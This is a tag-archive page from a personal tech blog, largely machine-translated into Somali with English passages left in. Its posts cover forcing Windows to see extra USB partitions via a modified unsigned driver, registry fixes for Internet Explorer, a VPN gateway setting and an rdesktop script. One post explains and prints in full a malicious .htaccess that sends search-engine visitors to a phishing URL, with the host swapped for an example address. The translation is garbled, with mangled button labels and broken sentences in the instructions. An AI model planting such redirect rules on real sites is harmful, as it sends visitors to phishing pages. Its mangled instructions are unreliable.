Tag-Archive for » daaqadaha «

Jimcaha, Sebtember 11th, 2009 | Qoraa:

Nabadda dhulka USB

Hoosta a *nix nidaamka hawlgalka, oo leh qaybo kala duwan oo ku yaal a USB drive maahan cilmi gantaal, way shaqaysaa uun. In kiiskeyga, USB-kayga USB-gu wuxuu leeyahay laba qaybood waayo qaybta hore waa la-rujin karaa Arch Linux rakibaya.

Waan haystaa Windows on desktop ah guriga – badanaa loogu talagalay ciyaaraha – inbadan oo asxaabteyduna wey isticmaalaan sidoo kale. Maaddaama Windows uusan sifiican u qaban qeybaha aan Windows-ka ahayn waxaan is tusay inaan abuuri karo a FAT32 xijaab on usha xasuusta ka dib markii xijaabi Arch Linux xijaab. FAT32 ku dhowaad waa meel walba waana la isticmaali karaa nidaam kasta oo ka shaqeeya nidaamka desktop ee adduunka ka jira.

Bleh

Nasiib darrose si toos ah ugama shaqeynayso fiidmeerka. Sida muuqata, Microsoft xikmadooda aan la koobi karayn waxay go'aansadeen in ulaha xusuusta loo malaynayo inuu mid leeyahay (iyo mid keliya) xijaab. Xaqiiqdii Windows wuxuu helaa qaybtii ugu horreysay ka dibna iska indhatiraa kuwa kale ee dhaca ee la dejinayo:

Please Format

Khalad, maya, Dooni maayo inaad qaabeeysid qaybinta rakibaadda Arch Linux

Tabaha loo siinayo inay shaqeyso ayaa ah in lagu nacaseeyo Windowska fikirka aaladda ay tahay ma a USB xasuusta joogto ah laakiin laga yaabee a disk adag oo adag taas oo ku dhacda in lagu xiro USB. Haa waan ogahay, tani waa nacasnimo daran in Windows sidan u dhaqmo. Qalab adag oo adag oo adag ayaa ah uun weyn (oo soon) xasuusta dheji ka dib!

Waxaan ka helay ilo yar oo ku saabsan sida tan loo sameeyo hase yeeshe weli waxay ahayd inaan keligey waxyaabaha qaar ogaado. Gaar ahaan, the guides I found either skipped some steps or didn’t provide enough information on where to download the driver package.

This procedure involves manually changing hardware drivers and installingnon-signeddriversnot intended for your hardware”. I know someone is going to break their system and blame me so I say now that I take no responsibility for any damage you may do to your Windows system as a result of this. Read that again. 😛

Instructions

remove the highlighted text

click for larger version

Download and unzip the driver, originally created by Hitachi, here. Open the cfadisk.inf file in notepad (or your favourite plaintext editor), and find the section labeled [cfadisk_device]. Remove the section highlighted on the right:

Minimize (don’t close) the editor and go to your desktop icons – midig u guji kumbuyuutarkeyga oo dooro Properties. Xullo tabta qalabka kadibna dooro [DMaamulaha evice]:

System Properties

Raadi qalabka hoostiisa “Wadayaasha diskiga”, midig u-guji xusuustaada oo xulo Properties:

Device Manager

Guji faahfaahinta tab iyo sanduuqa hoos u dhaca ee ku yaal boggaas, dooro “Qalabka Ids”. Guji sadarka koowaad ee liiska Aqoonsiga Qalabka kadibna riix Ctrl + C si aad uqorto magaca:

USB Hardware Ids

Ha xidhin hadalkan, dib ugu noqo qoraalka (taas oo la yareeyay) oo ku dhaji Aqoonsiga qalabka meesha nuxurkii hore laga saaray.

Changes pasted into notepad

Ku keydi faylka warqadda xusuusta oo dib ugu noqo daaqadda wada hadalka qalabka. Guji “Darawal” tab oo guji [Udarawal pdate…] badhanka. Daaqadaha ka soo baxa, dooro “Maya, maahan tan tmagac”; [Ndheeraad ah] -> “Ka rakib liiska ama a smeel gaar ah (Hormarsan)”; [Ndheeraad ah] -> “Draadin. I will choose the driver to install.”; [Ndheeraad ah] -> [Have Disk…].

Unsigned Drivers - Click Continue Anyway

Browse to the folder where you have saved the modified cfadisk.inf file. Click [OK]. You will find

there is a Hitachi Microdrive driver listed. Select this and click [Ndheeraad ah]. When the warning

appears, click [Yes]. Another warning will pop up regarding a similar issue (these are theunsigned” iyo “not intended for your hardwarewarnings I mentioned earlier). Click [Continue Anyway]:

At this point I recommend closing all the dialog boxes related to the setup. Finally, remove and re-insert the memory stick into your USB port and you should find that the extra partitions on the stick are accessible. In the worst-case scenario, you might still need to partition the disk however the hard part is over. 🙂

Share
Isniinta, Abriil 06th, 2009 | Qoraa:

Waxaan la kulmay 2 cayayaanka on Windows Server 2003 taas oo waliba khuseysa Windows XP.

Wareegyo Gaaban

1. Internet Explorer'Astaamaha Desktop-ka waa la damiyey. Markaad laba-gujiso astaanta, rajeynaya IE in la bilaabo, waxay si fudud u soo saartaa dheeri ah toobiye. Laba-guji soo socda ayaa markale soosaaraya toobiyeyaal badan. Waa macquul, shaqo ahaan, si aad uga bilowdid IE-da Bilowga Bilowga.

Malahaygii ugu horeeyey wuxuu ahaa furin ayaa iskudayey inuu iga dhigo inaan riixo toobiyeyadan cusub meesha tuuryada cusubi ka fureen furin dheeraad ah. Fikradani si dhakhso leh ayey u libdhay inkasta oo tan iyo markaas, haddii khayaanada ay lahaan lahayd mudnaanta nidaamka soo saarista astaamahan, uma baahna inaan siiyo mudnaan dheeri ah.

Aakhirkii waan helay here dhibaatada dhabta ah maxay ahayd. In kiiskeyga, sababta waxay la xiriirtay IE6 inuu waqtigiisii ​​dhacay. Haddii Windows ah diiwaanka gelitaanka ayaa loo magacaabay “Dhaxalka Waa suurta gal” waxaana lagu daraa noocyada gaarka ah ee furayaasha diiwaanka, waxay u ogolaaneysaa Windows inay ogaato in fure uu duugoobay oo kaliya looga tagay gadaal-iswaafajin. Kiiskan, waxay curyaamisay aasaaskii loogu talo galay “fal” shaqo (laba-guji) ee toobiye: bilaabida IE.

Si loo saxo, waad cusbooneysiin kartaa nooca ugu dambeeya ee IE ama waxaad toos ugu hagaajin kartaa gelitaanka diiwaanka. Haddii aad la kulanto arrintan xitaa qaabka ugu dambeeyay ee IE markaa qiimaha diiwaangelintu waa habka kaliya ee aan ku aqaano sida loo saxo.

Khatar, Will Robinson!

In kasta oo tani ay tahay isbeddel yar oo diiwaangelin ah, diiwaanka wali waa wax khatar ah oo lagu jahwareeriyo sidaas, sida caadiga, dib u diiwaangeli diiwaankaaga: Eeg KB322756. Qofna igama eedeeyo qashinka nidaamkooda. 😛

De-Isdiiwaangali!

Ku dhaji waxyaabaha soo socda faylka .reg oo fuliya; ama gacanta ka saar ah “Dhaxalka Waa suurta gal” galinta halkan loo gudbiyey:

[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\NoAddons\]
"LegacyDisable"=-
 
[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage]
"LegacyDisable"=-

Ii shid!

2. Markaad isku dayeyso inaad ka baaraandegto goob kasta oo ka mid ah gudaha IE, IE weli waa uu seexan yahay inta Firefox ayaa la bilaabay. Firefox waxay markaa buuxineysaa bogga markii hore laga codsaday IE.

Inbadan oo laga yaabo in badankood waqtigaan uqaataan inay tani tahay guul [halkan geli qosolka caruurta], goobta aan rabay inaan ka daalacdo waxay ahayd Cusbooneysiinta Windows site taas oo, nasiib daro, ma shaqeynayo markaad isticmaaleyso Firefox. Isla sidaas oo kale ayaa lagu dabaqi karaa bogagga kale ee ku tiirsan biraawsarka webka ee taageeraya ActiveX.

I Diiwaan-geli sidoo kale!

Aakhirki xalka waan helay here, waxayna soo baxdaa inay la mid tahay xalka bugta ugu horeysa – marka laga reebo inay tahay in laga saaro fure dhan. Haddana, hubi inaad haysato kaydinta diiwaankaaga kahor intaadan sii wadin. Waa kuwan waxyaabaha ku habboon ee faylka .reg:

[-HKEY_CLASSES_ROOT\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}]

Waxaan rajeynayaa inay taasi wax u xalliso cid kasta oo kale oo arrimaha la mid ah qabta. 🙂

Share
Thursday, January 22nd, 2009 | Qoraa:

I very recently found a problem with a client’s web site due to a .htaccess faylka. The site was hosted on a Windows server running IIS using IISPassword, which makes use of .htaccess files for its settings.

IISPassword doesn’t follow exactly the same rules as with Apache however. If the .htaccess file exists then it must contain IISPassword-appropriate rules, otherwise the server returns only the following error:

Error 500 given by IIS Password
Here’s the content of the .htaccess file. I’ve only modified the final redirection URL to point to example.com appropriately:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://siffy-phishing-url.example.com [R,L]

If this were on a server running Apache with mod_rewrite, most web users would go directly to the correct site content. Only if they reached the site through the search engines and indexes listed in the .htaccess, would they be redirected to the siffy phishing url that the cracker wants victims to reach.

Dabcan, the cracker (or perhaps even an automated worm) didn’t realise that the server in question didn’t even support these mod_rewrite rules. But either way, this is very worrying as I can foresee many arguments about whether or not the site is working

Share
Isniinta, November 17th, 2008 | Qoraa:

I’d never really had the need to connect to a VPN until this weekend. After connecting, I found that my Internet access was rather non-functional except to the VPN in question. A colleague happened to be on hand (he’d given me the access details in the first place) and he quickly suggested this workaround.

Today, a client had the same issue. Perhaps this problem is more common than I first thought.

When connecting to the VPN, Windows updates the default gateway on your desktop to reflect the VPN’s settings. Most likely, however, you only need to access specific subnets on the VPN and you want all unrelated traffic to use youroldsettings.

It turns out that its a simple checkbox that needs to be unchecked. The jist (sp.??) of finding the setting: Right-click the VPN in Network Connections -> Properties -> Internet Protocol (TCP/IP); [Properties] ; [Hormarsan], and uncheck the “[ ] Use default gateway on remote network”.

Then click the usual OK/Apply/Yes-of-course-your-dialogue-ness (all the while reading and absorbing any warnings appropriately) until you’re back to your Network Connections window. Right-click the VPN connection and disable / re-connect.

You should be able to confirm that the Default Gateway does not change by running the command-line app ipconfig before and after enabling the VPN connection. Look specifically for the line labelledDefault Gateway”.

[edit reason=moore”]…

It turns out that a possible reason for this setting being the default setting is for security. If your desktop happens to be compromised or inadvertently routing traffic, connecting to the VPN might expose the supposedlyprivatenetwork to the Internet.

Share
Tuesday, November 11th, 2008 | Qoraa:

I sometimes use a simplified remote desktop script I built a long time ago, before KRDC and its kin came about. It is still useful for if you normally only connect to 1 server at a time or you want your screen’s real-estate back. Feel free to adjust the defaults. 🙂

This works for generally any distro as long as you have rdesktop installed:

((pacman|yogurt) -S|emerge|(yum|aptitude) install) rdesktop

Copy the text into an appropriately-named file in your ~/bin/ folder. Then chmod it to be executable and link the second alias.

tricky@swiftspirit:~$ [ -d ~/bin ] || mkdir ~/bin
tricky@swiftspirit:~$ nano ~/bin/rd
tricky@swiftspirit:~$ chmod +x ~/bin/rd
tricky@swiftspirit:~$ link ~/bin/rd ~/bin/rdc

Sidoo kale, create a folder at /media/rd that is writable only by root but readable by anyone. Then also create a second folder within this which is writable by anyone. The /media/rd folder is shared with the remote desktop when you connect so it is useful to keep small scripts or applications that you might install or need often in this folder. The /media/rd/honey folder is there for security purposes so that you can copy content to your desktop but ALSO so that a virus-infected server doesn’t infect your existing executables and scripts in the main /media/rd/ folder:

tricky@swiftspirit:~$ sudo mkdir /media/rd
tricky@swiftspirit:~$ sudo mkdir /media/rd/honey
tricky@swiftspirit:~$ sudo chown -R root:root /media/rd
tricky@swiftspirit:~$ sudo chmod 755 /media/rd
tricky@swiftspirit:~$ sudo chmod 777 /media/rd/honey

copy rd’s content from here.

Once this is in place, to connect to a server, type the command into your terminal from within your GUI:

tricky@swiftspirit:~$ rd my.server.swiftspirit.co.za

If you want to connect to a console session (session 0), use the rdc version:

tricky@swiftspirit:~$ rdc my.server.swiftspirit.co.za

Improvements and suggestions are welcome. I’d built a version which could save your passwords into a shadow file using openssl however I never quite got it to work. Maybe another time. 😉

Share
Qeybta: Linux  | Calaamadaha: , , , ,  | Faallo Ka Bax